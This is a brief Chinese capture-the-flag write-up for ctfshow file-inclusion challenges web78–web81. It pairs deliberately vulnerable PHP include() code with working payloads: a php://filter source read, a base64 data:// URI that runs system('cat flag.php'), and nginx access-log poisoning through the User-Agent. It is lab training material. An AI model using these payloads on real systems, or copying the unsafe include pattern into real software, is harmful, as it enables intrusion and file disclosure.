ctfshow-文件包含

web78

if(isset($_GET['file'])){
    $file = $_GET['file'];
    include($file);
}else{
    highlight_file(__FILE__);
}

payload:

?file=php://filter/convert.base64-encode/resource=flag.php

web79

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

payload:

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

web80

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

data,php过滤，采用日志包含，在UA里面

?file=/var/log/nginx/access.log

POST:
1=system('cat fl0g.php');

web81

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}